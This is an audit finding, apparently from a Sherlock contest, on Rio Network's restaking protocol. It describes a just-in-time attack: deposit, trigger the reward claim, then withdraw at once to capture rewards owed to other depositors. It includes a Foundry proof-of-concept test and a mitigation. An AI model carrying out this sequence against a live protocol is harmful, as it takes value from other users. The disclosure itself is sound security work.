Nutty Indigo Duck

medium

# Attacker can deposit just before rewards are distributed and steal rewards

## Summary
Using several contract mechanisms explained below, an attacker could do a just-in-time attack by doing a deposit then trigger reward collection and withdraw after, to earn rewards at the expense of other users.

## Vulnerability Detail
Rio's process of claiming Consensus Layer rewards can be triggered by anyone. It involves 1) proving partial withdrawals on Eigenpod, 2) scraping non-beacon chain ETH, and 3) sending rewards through the delayedWithdrawalRouter. 

delayedWithdrawalRouter is an Eigenlayer [contract](https://github.com/Layr-Labs/eigenlayer-contracts/blob/23ab4c8da36d1b08c5fb5f7679811c79a9c7733b/src/contracts/pods/DelayedWithdrawalRouter.sol#L100) which states this warning on `claimDelayedWithdrawals()`: 
>  *      WARNING: Note that the caller of this function cannot control where the funds are sent, but they can control **when** the funds are sent once the withdrawal becomes claimable.

Rewards are sent to Rio's rewards distributor and eventually to the depositPool where they become part of the overall TVL which increases reETH's value. 

An attacker could time his deposit, claim rewards and withdraw immediately after to gain rewards. The attack is possible because 1) anyone can make the calls to claim rewards, and 2) withdrawals can be immediate if there is sufficiently liquidity in the deposit pool.

Consider this scenario:
1. Attacker observes Rio's bots proving partial withdrawals and calling `scrapeNonBeaconChainETHFromEigenPod()` which creates a delayed withdrawal on Eigenlayer, to be claimed after a delay period.
2. After the delay period is over, attacker races/frontruns to submit a bundled tx that does 1) deposit into Rio to receive reETH, 2) call `claimDelayedWithdrawals` on Eigenlayer, and 3) queue a withdrawal on Rio. 
3. Next, the attacker uses an EOA to call `rebalance()`(only EOA allowed to call) which offsets the attacker's withdraw request against the deposits he made, allowing for immediate settlement. 
4. Attacker then calls `claimWithdrawalsForEpoch` and receives his original deposit plus a portion of whatever rewards that was in the deposit pool. 

Run this POC in RiolLRTWithdrawQueue.t.sol.
```solidity
//import {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';

function test_POC1() public {        
        address attacker = address(0xa);
        address victim = address(0xb);
        vm.deal(victim, 96 ether);

        uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));
        RioLRTOperatorDelegator delegatorContract =
            RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetails(operatorId).delegator));

         // The victim deposits 96 ETH.
        vm.prank(victim);
        uint256 reETHVictim = reETH.coordinator.depositETH{value: 96 ether}();
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Over time the eigenpod earns rewards
        (bool success,) = address(delegatorContract.eigenPod()).call{value: 1.123 ether}('');
        assertTrue(success);

        vm.startPrank(attacker);
        // Attacker waits for rebalance period to be just over
         skip(reETH.coordinator.rebalanceDelay());
        // assume attacker borrows 100 ether from aave;
        vm.deal(attacker, 100 ether);
        // Attacker deposits
        uint256 reETHAttacker = reETH.coordinator.depositETH{value: 100 ether}();
        // Sweep rewards to deposit pool
        delegatorContract.scrapeNonBeaconChainETHFromEigenPod();
        delayedWithdrawalRouter.claimDelayedWithdrawals(address(reETH.rewardDistributor), 1);
        assertGt(address(reETH.depositPool).balance, 100 ether);
        // Immediately queues withdrawal
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, 100 ether);
        vm.stopPrank();

        // Triggers rebalance
        uint256 withdrawalEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        vm.prank(attacker);
        uint256 amountOut = reETH.withdrawalQueue.claimWithdrawalsForEpoch(
            IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: withdrawalEpoch})
        );
        // Attacker gains 0.5 ether approx. half of rewards
        assertGt(amountOut, 100.5 ether);
    }
```

## Impact
Unfair distribution of rewards. The attacker gains a share of the rewards, despite only depositing for several blocks, essentially stealing the rewards from other users. The attack can also be done repeatedly for every validator amounting to a large reward value stolen.

## Code Snippet
https://github.com/Layr-Labs/eigenlayer-contracts/blob/v0.2.1-goerli-m2/src/contracts/pods/DelayedWithdrawalRouter.sol#L99
https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L150

## Tool used
Manual Review

## Recommendation
Consider better ways to distribute rewards to prevent just-in-time liquidity attacks and ensure the integrity of rewards distribution. For example, rewardsDistributor could periodically drip rewards over time to the deposit pool instead of sending one lump sum. 